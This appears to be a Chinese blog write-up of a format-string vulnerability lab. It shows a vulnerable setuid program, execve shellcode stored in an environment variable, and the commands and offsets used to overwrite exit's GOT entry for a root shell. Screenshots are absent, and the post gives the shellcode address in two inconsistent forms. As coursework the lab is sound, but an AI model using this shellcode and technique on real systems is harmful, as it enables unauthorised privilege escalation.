Format-String Vulnerability Lab 格式化字符串漏洞 (shellcode写进环境变量)

  • Post author:
  • Post category:其他


//  vul.c
/* 
 * 如果获得环境变量的程序和攻击的程序的文件名长度不一样,环境变量的地址
 * 会发生偏移。因此,要么令两个程序的文件名长度相等(推荐),要么考虑偏
 * 移来计算环境变量地址。
 * gcc -z execstack -o got got.c
*/
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[1024];
strncpy(buf, argv[1], sizeof(buf) - 1);
printf(buf);
puts("done");
exit(0);
}
利用 root 把上面这段代码编译并且 suid,然后普通用户执行它,要求就是成
功获得 root shell。
  • 观察以上代码,我们的思路是将shellcode写进环境变量,然后获取环境变量的地址,再将这个地址覆盖exit函数的地址,这样,在程序执行到exit(0)的时候,就会执行我们的shellcode。
  • 下面给出的get.c用于获取环境变量地址:
//get.c
//export EGG=$(python -c "print '\x90'*1000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
printf("Egg address: %p ",getenv("EGG"));
}

  1. 首先,关闭地址随机化:sudo sysctl -w kernel.randomize_va_space=0

在这里插入图片描述

2.编译get.c,利用 root 把vul.c编译并且 suid,还要使栈可执行

在这里插入图片描述

在这里插入图片描述

3.定义一个环境变量 EGG 存放 shellcode,再执行get获取它的地址。

export EGG=$(python -c "print '\x90'*1000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")

在这里插入图片描述

在这里插入图片描述

得到EGG地址为:0xbfff29e

4.查找exit的地址:

objdump -R vul


在这里插入图片描述

可以看到exit的地址为0x0804a00c

5.查询 AAAA 在内存中位置:

在这里插入图片描述

AAAA在第11个位置。

6.实施攻击,实施攻击的关键是计算把 shellcode 的地址 0xbffff29e 写到析

构函数的返回地址(即 0x 0804a00c)所指向的内存字中所需要的偏移量。

计算偏移量:

  • 49143=bfff-8;
  • 12959=f29e-bfff;

    在这里插入图片描述

    在这里插入图片描述

    攻击成功…成功获得root权限~



版权声明:本文为weixin_42189863原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。